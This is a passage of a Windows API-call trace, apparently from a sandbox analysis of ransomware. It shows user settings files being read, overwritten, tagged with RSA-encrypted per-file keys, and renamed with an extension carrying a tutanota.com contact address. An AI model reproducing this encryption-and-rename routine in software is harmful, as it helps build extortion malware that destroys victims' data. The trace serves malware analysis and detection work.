[0197.022] SetLastError (dwErrCode=0x0) [0197.022] GetLastError () returned 0x0 [0197.022] SetLastError (dwErrCode=0x0) [0197.022] SetLastError (dwErrCode=0x0) [0197.022] GetLastError () returned 0x0 [0197.022] SetLastError (dwErrCode=0x0) [0197.022] GetLastError () returned 0x0 [0197.023] SetLastError (dwErrCode=0x0) [0197.023] SetLastError (dwErrCode=0x0) [0197.023] GetLastError () returned 0x0 [0197.023] SetLastError (dwErrCode=0x0) [0197.023] SetLastError (dwErrCode=0x0) [0197.023] SetLastError (dwErrCode=0x12) [0197.023] GetLastError () returned 0x12 [0197.023] SetLastError (dwErrCode=0x12) [0197.023] GetLastError () returned 0x12 [0197.023] SetLastError (dwErrCode=0x12) [0197.023] SetLastError (dwErrCode=0x12) [0197.023] GetLastError () returned 0x12 [0197.023] SetLastError (dwErrCode=0x12) [0197.023] GetLastError () returned 0x12 [0197.023] SetLastError (dwErrCode=0x12) [0197.023] SetLastError (dwErrCode=0x12) [0197.023] GetLastError () returned 0x12 [0197.023] SetLastError (dwErrCode=0x12) [0197.023] GetLastError () returned 0x12 [0197.023] SetLastError (dwErrCode=0x12) [0197.023] SetLastError (dwErrCode=0x12) [0197.024] GetLastError () returned 0x12 [0197.024] SetLastError (dwErrCode=0x12) [0197.024] GetLastError () returned 0x12 [0197.024] SetLastError (dwErrCode=0x12) [0197.024] SetLastError (dwErrCode=0x12) [0197.024] GetLastError () returned 0x12 [0197.024] SetLastError (dwErrCode=0x12) [0197.024] GetLastError () returned 0x12 [0197.024] SetLastError (dwErrCode=0x12) [0197.024] SetLastError (dwErrCode=0x12) [0197.024] GetLastError () returned 0x12 [0197.024] SetLastError (dwErrCode=0x12) [0197.024] SetLastError (dwErrCode=0x12) [0197.024] SetLastError (dwErrCode=0x12) [0197.024] GetLastError () returned 0x12 [0197.024] SetLastError (dwErrCode=0x12) [0197.024] SetLastError (dwErrCode=0x12) [0197.024] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0197.024] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0197.025] ReadFile (in: hFile=0xd88, lpBuffer=0x2f998f0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0197.042] SetFilePointer (in: hFile=0xd88, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.042] WriteFile (in: hFile=0xd88, lpBuffer=0x2f8f8c8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0197.043] SetFilePointer (in: hFile=0xd88, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0197.043] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.043] WriteFile (in: hFile=0xd88, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.044] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0197.044] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0197.044] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0197.044] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="rmsYhTBagr0/7VrhXyhMwpwCcSADZjaJfijRKIWC4lKBNCzApV+v/RT0fmmqjUDx\n0n6fliOrkoJHURT7XQatuAmUdfigXyDp22dGiB+pHFLXopFPVBFw7Z+b5woPd2Ha\nrVtTOKXYLVMe4s1d+8lKSJNGTMwdiSWPKRnI+TOzdJDbKypuJyLqUGdAtUXgpzmB\n71oBN+lXh+fwlE9RyC1wdjP+HfkVGwPuKxh8Abs54d97a4QBx/M6WaLOgsoIpz+h\nxeSGZu/eYEsyQoI34OoitPx/GvFa3WC9Jw2n69GSeBiKjl5qmoZJJgGjjVoyiVeM\nC6dosEIskbJz/S9s44zDjA==\n", pcchString=0x2e3f9a8) returned 1 [0197.044] WriteFile (in: hFile=0xd88, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0197.045] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.045] WriteFile (in: hFile=0xd88, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.045] CloseHandle (hObject=0xd88) returned 1 [0197.045] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\settings\\settings.dat.log2"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\settings\\settings.dat.log2.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0197.047] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0197.047] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0197.047] ReadFile (in: hFile=0xd88, lpBuffer=0x2f2d010, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f2d010*, lpNumberOfBytesRead=0x2e3f9b4*=0x4000, lpOverlapped=0x0) returned 1 [0197.071] SetFilePointer (in: hFile=0xd88, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.071] WriteFile (in: hFile=0xd88, lpBuffer=0x2f31018*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f31018*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4000, lpOverlapped=0x0) returned 1 [0197.072] SetFilePointer (in: hFile=0xd88, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4000 [0197.072] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.072] WriteFile (in: hFile=0xd88, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.072] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0197.072] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0197.073] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0197.073] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="+cZozv2Q+XYhkJo3godi4nYab9rtLfSx/OnrOMTqoufK0g5sI+Rp3qJeg6skeQft\nmvafXeuSIWXeOLSens+Jhzllp3eBTudGK9C2thpet4gHNrKFsjdbzs37jBxqmYDj\nr3JsOnsdoTFywP19ruWCC5YftkpuRzKXV3kZmlRQlHATO2hn4ZcYOK6u1b2k/5Vn\nYtd7vIEQ0W/pu78epoVY21+IZE5hoXVyzlmzezIjdqE0fJF/Lbe9QjhgJMi9XL6y\nj95QHscBWmk7WMAClISZfYdlLCx9559+FL1mpjAAdqcwQhe9AAb6EcNHzqNmpkxn\ncyC5UmDNY+7Ae/+EPTZcXw==\n", pcchString=0x2e3f9a8) returned 1 [0197.073] WriteFile (in: hFile=0xd88, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0197.073] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.073] WriteFile (in: hFile=0xd88, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.074] CloseHandle (hObject=0xd88) returned 1 [0197.074] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\settings\\settings.dat.log1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\settings\\settings.dat.log1.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0197.076] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0197.076] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0197.076] ReadFile (in: hFile=0xd88, lpBuffer=0x2f9b8f8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0197.094] SetFilePointer (in: hFile=0xd88, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.094] WriteFile (in: hFile=0xd88, lpBuffer=0x2f938d8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f938d8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0197.095] SetFilePointer (in: hFile=0xd88, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0197.095] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.095] WriteFile (in: hFile=0xd88, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.096] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0197.096] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0197.096] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0197.096] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="qgzaIbHjUiPrQ1vncqT1cUtU7KOUMtjwV48+/v4GoRwL4UzTKE1eGJ+AmhAvkSM0\nZcO/KK8D/zlrqBEChNb2eoxPMCItjF+lanRDEm8QScIbnCbq3P6k6gAfQborLtC7\n8fQcn7ow+CJcMql/mFg15b6fJ2SEo4ODwqyj3ZAIme0QNHt8kDmM4gRDOeKF1IpX\nPnTcSIAm27scGEptWMt25qVmmoMXrC1qAqyOFIi4nvaVT5NjOWE1uq+mttZ0Y2hS\nI6ouQLqS8vZmZsIeJ0DZtJB9F7IT5GjQP8rllVgi1FrRbba9lBs8KMuJPue+qGYV\nJLnOl/xZLAN3LHeQcDWAZQ==\n", pcchString=0x2e3f9a8) returned 1 [0197.096] WriteFile (in: hFile=0xd88, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0197.096] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.096] WriteFile (in: hFile=0xd88, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.097] CloseHandle (hObject=0xd88) returned 1 [0197.097] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\Settings\\settings.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\settings\\settings.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0197.100] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0197.100] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0197.101] ReadFile (in: hFile=0xd88, lpBuffer=0x59d370, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d370*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0197.101] SetFilePointer (in: hFile=0xd88, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.101] WriteFile (in: hFile=0xd88, lpBuffer=0x59d1d0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0197.101] SetFilePointer (in: hFile=0xd88, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0197.101] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.101] WriteFile (in: hFile=0xd88, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.102] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0197.102] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0197.103] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0197.103] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="2ynFgtrBfGrih8XGRfJ7HnE/GujCM7T1WbcYcfrnBG4g1DaUWiCRVb4gICcvAXSA\nI2H8K6aMuDF8cLqjKUUYNz1jTh4OI0P5SYZsBsHOkCVrAA/Y/2GDwFOoyDp4n5Tq\n6C/U36y8ZACC0DAummHX2d1CwlDRBz28E3hP1Sis81oNHc+yAco5Qq82U+7W3Po0\n/lf4GoG+aS+0+flMjZDnlAZUL4A9drWJ7X5c/Nf1rPbItn8Yx5OWYqH9j/Gxcp/5\nRaeQDwfu2mI37Leo5OpH+Xjp5JhEY2psXxh64Fa+yUL1GQx/3lFVvKg8BiZxlgzq\n4CN+lHdV6Me/RfqahFSHWw==\n", pcchString=0x2e3f9a8) returned 1 [0197.103] WriteFile (in: hFile=0xd88, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0197.103] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0197.103] WriteFile (in: hFile=0xd88, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0197.103] CloseHandle (hObject=0xd88) returned 1 [0197.104] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\settings\\roaming.lock"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\Settings\\roaming.lock.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.messaging_8wekyb3d8bbwe\\settings\\roaming.lock.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0197.106] SetLastError (dwErrCode=0x0) [0197.106] GetLastError () returned 0x0 [0197.106] SetLastError (dwErrCode=0x0) [0197.106] GetLastError () returned 0x0 [0197.106] SetLastError (dwErrCode=0x0) [0197.106] SetLastError (dwErrCode=0x0) [0197.106] GetLastError () returned 0x0 [0197.106] SetLastError (dwErrCode=0x0) [0197.106] GetLastError () returned 0x0 [0197.106] SetLastError (dwErrCode=0x0) [0197.106] SetLastError (dwErrCode=0x0) [0197.106] GetLastError () returned 0x0 [0197.106] SetLastError (dwErrCode=0x0) [0197.106] SetLastError (dwErrCode=0x0) [0197.106] SetLastError (dwErrCode=0x12) [0197.106] GetLastError () returned 0x12 [0197.107] SetLastError (dwErrCode=0x12) [0197.107] GetLastError () returned 0x12 [0197.107] SetLastError (dwErrCode=0x12) [0197.107] SetLastError (dwErrCode=0x12) [0197.107] GetLastError () returned 0x12 [0197.107] SetLastError (dwErrCode=0x12) [0197.107] GetLastError () returned 0x12 [0197.107] SetLastError (dwErrCode=0x12) [0197.107] SetLastError (dwErrCode=0x12) [0197.107] GetLastError () returned 0x12 [0197.107] SetLastError (dwErrCode=0x12) [0197.107] GetLastError () returned 0x12 [0197.107] SetLastError (dwErrCode=0x12) [0197.107] SetLastError (dwErrCode=0x12) [0197.107] GetLastError () returned 0x12 [0197.107] SetLastError (dwErrCode=0x12) [0197.107] GetLastError () returned 0x12 [0197.107] SetLastError (dwErrCode=0x12) [0197.107] SetLastError (dwErrCode=0x12) [0197.107] GetLastError () returned 0x12 [0197.107] SetLastError (dwErrCode=0x12) [0197.107] GetLastError () returned 0x12 [0197.108] SetLastError (dwErrCode=0x12) [0197.108] SetLastError (dwErrCode=0x12) [0197.108] GetLastError () returned 0x12 [0197.108] SetLastError (dwErrCode=0x12) [0197.108] GetLastError () returned 0x12 [0197.108] SetLastError (dwErrCode=0x12) [0197.108] SetLastError (dwErrCode=0x12) [0197.108] GetLastError () returned 0x12 [0197.108] SetLastError (dwErrCode=0x12) [0197.108] SetLastError (dwErrCode=0x12) [0197.109] WriteFile (in: hFile=0xd94, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.111] CloseHandle (hObject=0xd94) returned 1 [0197.111] SetLastError (dwErrCode=0x0) [0197.111] GetLastError () returned 0x0 [0197.111] SetLastError (dwErrCode=0x0) [0197.111] GetLastError () returned 0x0 [0197.111] SetLastError (dwErrCode=0x0) [0197.111] SetLastError (dwErrCode=0x0) [0197.111] GetLastError () returned 0x0 [0197.111] SetLastError (dwErrCode=0x0) [0197.111] SetLastError (dwErrCode=0x0) [0197.111] WriteFile (in: hFile=0xd94, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.113] CloseHandle (hObject=0xd94) returned 1 [0197.113] SetLastError (dwErrCode=0x0) [0197.113] GetLastError () returned 0x0 [0197.113] SetLastError (dwErrCode=0x0) [0197.113] GetLastError () returned 0x0 [0197.113] SetLastError (dwErrCode=0x0) [0197.113] SetLastError (dwErrCode=0x0) [0197.113] GetLastError () returned 0x0 [0197.113] SetLastError (dwErrCode=0x0) [0197.113] SetLastError (dwErrCode=0x0) [0197.113] WriteFile (in: hFile=0xd94, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0197.114] CloseHandle (hObject=0xd94) returned 1 [0197.115] SetLastError (dwErrCode=0x0) [0197.115] GetLastError () returned 0x0 [0197.115] SetLastError (dwErrCode=0x0) [0197.115] GetLastError () returned 0x0 [0197.115] SetLastError (dwErrCode=0x0) [0197.115] SetLastError (dwErrCode=0x0) [0197.115] GetLastError () returned 0x0 [0197.115] SetLastError (dwErrCode=0x0) [0197.115] GetLastError () returned 0x0 [0197.115] SetLastError (dwErrCode=0x0) [0197.115] SetLastError (dwErrCode=0x12) [0197.115] GetLastError () returned 0x12 [0197.115] SetLastError (dwErrCode=0x12) [0197.115] GetLastError () returned 0x12 [0197.115] SetLastError (dwErrCode=0x12) [0197.117] SetLastError (dwErrCode=0x12) [0197.117] GetLastError () returned 0x12 [0197.117] SetLastError (dwErrCode=0x12) [0197.118] GetLastError () returned 0x12 [0197.118] SetLastError (dwErrCode=0x12) [0197.118] SetLastError (dwErrCode=0x12) [0197.118] GetLastError () returned 0x12 [0197.118] SetLastError (dwErrCode=0x12) [0197.118] SetLastError (dwErrCode=0x12) [0197.118] SetLastError (dwErrCode=0x12) [0197.118] GetLastError () returned 0x12 [0197.118] SetLastError (dwErrCode=0x12) [0197.118] GetLastError () returned 0x12 [0197.118] SetLastError (dwErrCode=0x12) [0197.118] SetLastError (dwErrCode=0x12) [0197.118] GetLastError () returned 0x12 [0197.118] SetLastError (dwErrCode=0x12) [0197.118] GetLastError () returned 0x12 [0197.118] SetLastError (dwErrCode=0x12) [0197.118] SetLastError (dwErrCode=0x12) [0197.118] GetLastError () returned 0x12 [0197.118] SetLastError (dwErrCode=0x12) [0197.118] SetLastError (dwErrCode=0x12) [0197.119] SetLastError (dwErrCode=0x12) [0197.119] GetLastError () returned 0x12 [0197.119] SetLastError (dwErrCode=0x12) [0197.119] GetLastError () returned 0x12 [0197.119] SetLastError (dwErrCode=0x12) [0197.119] SetLastError (dwErrCode=0x12) [0197.119] GetLastError () returned 0x12 [0197.119] SetLastError (dwErrCode=0x12) [0197.119] GetLastError () returned 0x12 [0197.119] SetLastError (dwErrCode=0x12) [0197.119] SetLastError (dwErrCode=0x12) [0197.119] GetLastError () returned 0x12 [0197.119] SetLastError (dwErrCode=0x12) [0197.119] SetLastError (dwErrCode=0x12) [0197.119] SetLastError (dwErrCode=0x12) [0197.119] GetLastError () returned 0x12 [0197.119] SetLastError (dwErrCode=0x12) [0197.119] GetLastError () returned 0x12 [0197.119] SetLastError (dwErrCode=0x12) [0197.119] SetLastError (dwErrCode=0x12) [0197.119] GetLastError () returned 0x12 [0197.120] SetLastError (dwErrCode=0x12) [0197.120] GetLastError () returned 0x12 [0197.120] SetLastError (dwErrCode=0x12) [0197.120] SetLastError (dwErrCode=0x12) [0197.120] GetLastError () returned 0x12 [0197.120] SetLastError (dwErrCode=0x12) [0197.120] SetLastError (dwErrCode=0x12) [0197.120] SetLastError (dwErrCode=0x12) [0197.120] GetLastError () returned 0x12 [0197.120] SetLastError (dwErrCode=0x12) [0197.120] GetLastError () returned 0x12 [0197.120] SetLastError (dwErrCode=0x12) [0197.120] SetLastError (dwErrCode=0x12) [0197.120] GetLastError () returned 0x12 [0197.120] SetLastError (dwErrCode=0x12) [0197.120] GetLastError () returned 0x12 [0197.120] SetLastError (dwErrCode=0x12) [0197.120] SetLastError (dwErrCode=0x12) [0197.120] GetLastError () returned 0x12 [0197.120] SetLastError (dwErrCode=0x12) [0197.120] SetLastError (dwErrCode=0x12) [0197.121] SetLastError (dwErrCode=0x12) [0197.121] GetLastError () returned 0x12 [0197.121] SetLastError (dwErrCode=0x12) [0197.121] SetLastError (dwErrCode=0x12) [0197.121] SetLastError (dwErrCode=0x12) [0197.121] GetLastError () returned 0x12 [0197.121] SetLastError (dwErrCode=0x12) [0197.121] SetLastError (dwErrCode=0x12) [0197.121] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0197.121] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0197.121] ReadFile (in: hFile=0xda8, lpBuffer=0x2f938d8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: 